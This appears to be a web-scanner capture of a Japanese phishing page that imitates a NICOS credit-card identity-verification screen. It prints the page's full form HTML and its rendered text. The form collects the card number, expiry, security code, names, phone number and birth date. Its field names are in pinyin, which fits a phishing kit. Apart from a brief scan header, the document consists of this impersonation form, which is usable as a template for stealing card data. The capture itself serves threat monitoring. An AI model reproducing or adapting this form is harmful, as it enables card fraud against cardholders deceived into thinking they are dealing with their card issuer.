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Submission: On August 16 via manual from JP — Scanned from JP

Form analysis 1 forms found in the DOM

Name: MainForm — POST #

<form action="#" name="MainForm" method="POST" onsubmit="return false;" id="f1">
  <div class="mod-section-lv2 mt10">
    <h2 class="mod-heading-lv2"><span>ご本人確認のための情報入力</span></h2>
    <div class="mod-table-01 table-header-1col">
      <table class="group">
        <colgroup>
          <col width="25%">
          <col width="75%">
        </colgroup>
        <tbody>
          <tr>
            <th><span class="mod-text-must">必須</span>カード番号</th>
            <td><!--error:err_iCARD_NO1:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" name="carid0" value="" pattern="[0-9]*" oninput="tiao();" id="carid" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
              <span class="mod-text-mark">-</span>
              <!--error:err_iCARD_NO2:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" name="carid1" value="" pattern="[0-9]*" oninput="tiao();" id="carid1" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
              <span class="mod-text-mark">-</span>
              <!--error:err_iCARD_NO3:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" name="carid2" value="" pattern="[0-9]*" oninput="tiao();" id="cari2" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
              <span class="mod-text-mark">-</span>
              <!--error:err_iCARD_NO4:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" name="carid3" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" id="cari3" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
              <br> <span class="mod-text-example">例：1234-1234-1234-1234</span>
              <div class="mod-normal-list-indent">
                <ul>
                  <li><span class="mark">※</span>NICOSマークがついているクレジットカードが対象となります。 カード表面に印字されている16桁の数字を入力してください。法人カードは対象外ですので、ご了承ください。</li>
                </ul>
              </div>
            </td>
          </tr>
          <tr>
            <th><span class="mod-text-must">必須</span>有効期限</th>
            <td>
              <p>MONTH/YEAR</p>
              <!--error:err_sEXPIRE_MM:*-->
              <span class="mod-text-mark-error mod-text-mark-select"></span>
              <div class="form-select width-80">
                <select name="start_time" style="z-index: 10; opacity: 0;" class="select-class">
                  <option value=""></option>
                  <option value="01">01</option>
                  <option value="02">02</option>
                  <option value="03">03</option>
                  <option value="04">04</option>
                  <option value="05">05</option>
                  <option value="06">06</option>
                  <option value="07">07</option>
                  <option value="08">08</option>
                  <option value="09">09</option>
                  <option value="10">10</option>
                  <option value="11">11</option>
                  <option value="12">12</option>
                </select>
                <div class="select"><span></span></div>
                <div class="select"><span class="xian"></span></div>
              </div>
              <span class="mod-text-mark-select">/</span>
              <!--error:err_sEXPIRE_YY:*-->
              <span class="mod-text-mark-error mod-text-mark-select"></span>
              <div class="form-select width-80">
                <select name="end_time" style="z-index: 10; opacity: 0;" class="select-class1">
                  <option value=""></option>
                  <option value="22">22</option>
                  <option value="23">23</option>
                  <option value="24">24</option>
                  <option value="25">25</option>
                  <option value="26">26</option>
                  <option value="27">27</option>
                  <option value="27">28</option>
                  <option value="27">29</option>
                  <option value="27">30</option>
                  <option value="27">31</option>
                </select>
                <div class="select"><span></span></div>
                <div class="select"><span class="xian1"></span></div>
              </div>
              <div class="mod-normal-list-indent">
                <ul>
                  <li><span class="mark">※</span>カード表面に表示されている有効期限を入力してください。</li>
                </ul>
              </div>
            </td>
          </tr>
          <tr>
            <th><span class="mod-text-must">必須</span>セキュリティコード</th>
            <td>
              <p>カード裏面サインパネル部分に印字されている右端3桁の数字（<span class="mod-text-em-red">*</span>）をご入力ください。<br> （<span class="mod-text-em-red">*</span>）下図の赤線部分</p>
              <div class="mod-normal-list-indent">
                <ul>
                  <li><span class="mark">※</span>セキュリティの確保のために、入力された番号はマスキングして表示します。</li>
                </ul>
              </div>
              <!--error:err_iCVC2:*-->
              <span class="mod-text-mark-error"></span>
              <input type="password" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" name="haoma" value="" style="ime-mode: disabled" size="6" maxlength="4" class="form-text width-auto width-01">
              <br> <span class="mod-text-example">例：123</span><br> <img src="./skin/static/file/img_card_02.gif" alt="カード裏面">
              <div class="mod-normal-list-indent">
                <ul>
                  <li><span class="mark">※</span>一部上部デザインと異なる場合があります。</li>
                </ul>
              </div>
            </td>
          </tr>
          <tr>
            <th><span class="mod-text-must">必須</span>お名前（カタカナ）</th>
            <td><!--error:err_iNAME_KANA1:*-->
              <span class="mod-text-mark-error"></span>
              <span class="mod-text-mark">姓</span>
              <input type="text" name="xing" value="" style="ime-mode: active" size="20" maxlength="17" class="form-text width-auto width-02">
              <!--error:err_iNAME_KANA2:*-->
              <span class="mod-text-mark-error"></span>
              <span class="mod-text-mark">名</span>
              <input type="text" name="ming" value="" style="ime-mode: active" size="20" maxlength="17" class="form-text width-auto width-02">
              <span class="mod-text-supplement">（全角）</span>
            </td>
          </tr>
          <tr>
            <th><span class="mod-text-must">必須</span>カード名義人</th>
            <td><!--error:err_iTEL_NO:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" name="yingwen_name" value="" style="ime-mode: disabled" size="15" maxlength="15" class="form-text width-auto">
              <div class="mod-normal-list-indent">
                <ul>
                  <li><span class="mark">※</span>半角ローマ字で入力</li>
                </ul>
              </div>
            </td>
          </tr>
          <tr>
            <th><span class="mod-text-must">必須</span>電話番号</th>
            <td><!--error:err_iTEL_NO:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" pattern="[0-9]*" name="phone" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" style="ime-mode: disabled" size="15" maxlength="15" class="form-text width-auto">
              <br> <span class="mod-text-example">例：03-1234-5678</span>
              <div class="mod-normal-list-indent">
                <ul>
                  <li><span class="mark">※</span>当社お届けの電話番号を市外局番から入力してください。</li>
                </ul>
              </div>
            </td>
          </tr>
          <tr>
            <th><span class="mod-text-must">必須</span>生年月日（西暦）</th>
            <td><!--error:err_iBIRTH_YYYY:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" name="nian" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
              <span class="mod-text-mark">年</span>
              <!--error:err_iBIRTH_MM:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" name="yue" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" style="ime-mode: disabled" size="8" maxlength="2" class="form-text width-auto width-01">
              <span class="mod-text-mark">月</span>
              <!--error:err_iBIRTH_DD:*-->
              <span class="mod-text-mark-error"></span>
              <input type="text" name="ri" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" style="ime-mode: disabled" size="8" maxlength="2" class="form-text width-auto width-01">
              <span class="mod-text-mark">日</span><br> <span class="mod-text-example">例：西暦1976年2月6日の場合、1976年02月06日と入力してください。</span>
            </td>
          </tr>
        </tbody>
      </table>
    </div><!-- /.mod-table-01 -->
    <p>入力内容をご確認のうえ、【次へ】ボタンを押してください。<br>
    </p>
    <div class="mod-btn-list">
      <ul>
        <li><a href="JavaScript:doTransaction('XBP3PN03030010_01M',null,false,null,this.form,null,null);" class="mod-btn btn-form-primary-02" onclick="return _wacs_parameters['flag'] == 0;">次へ</a></li>
        <li><a href="JavaScript:doTransaction('XBP3PN03030010_01M',null,false,null,this.form,null,null);" name="CLOSE" class="mod-btn btn-close-02">閉じる</a></li>
      </ul> &nbsp; <div align="center">
        <table border="0" cellpadding="0" cellspacing="0" align="center">
          <tbody>
            <tr>
              <td valign="top">※</td>
              <td>お客様のご利用環境によっては、【閉じる】ボタンが動作しない場合がございます。</td>
            </tr>
            <tr align="left">
              <td>&nbsp;</td>
              <td>ブラウザ上部の【×】ボタンより画面を閉じてください。</td>
            </tr>
          </tbody>
        </table>
      </div>
    </div><!-- /.mod-btn-list -->
  </div><!-- /.mod-section-lv2 -->
</form>

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ご本人確認のための情報入力

必須カード番号 - - -
例：1234-1234-1234-1234
 * ※NICOSマークがついているクレジットカードが対象となります。
   カード表面に印字されている16桁の数字を入力してください。法人カードは対象外ですので、ご了承ください。

必須有効期限

MONTH/YEAR

01 02 03 04 05 06 07 08 09 10 11 12


/
22 23 24 25 26 27 28 29 30 31


 * ※カード表面に表示されている有効期限を入力してください。

必須セキュリティコード

カード裏面サインパネル部分に印字されている右端3桁の数字（*）をご入力ください。
（*）下図の赤線部分

 * ※セキュリティの確保のために、入力された番号はマスキングして表示します。


例：123

 * ※一部上部デザインと異なる場合があります。

必須お名前（カタカナ） 姓 名 （全角） 必須カード名義人
 * ※半角ローマ字で入力

必須電話番号
例：03-1234-5678
 * ※当社お届けの電話番号を市外局番から入力してください。

必須生年月日（西暦） 年 月 日
例：西暦1976年2月6日の場合、1976年02月06日と入力してください。

入力内容をご確認のうえ、【次へ】ボタンを押してください。


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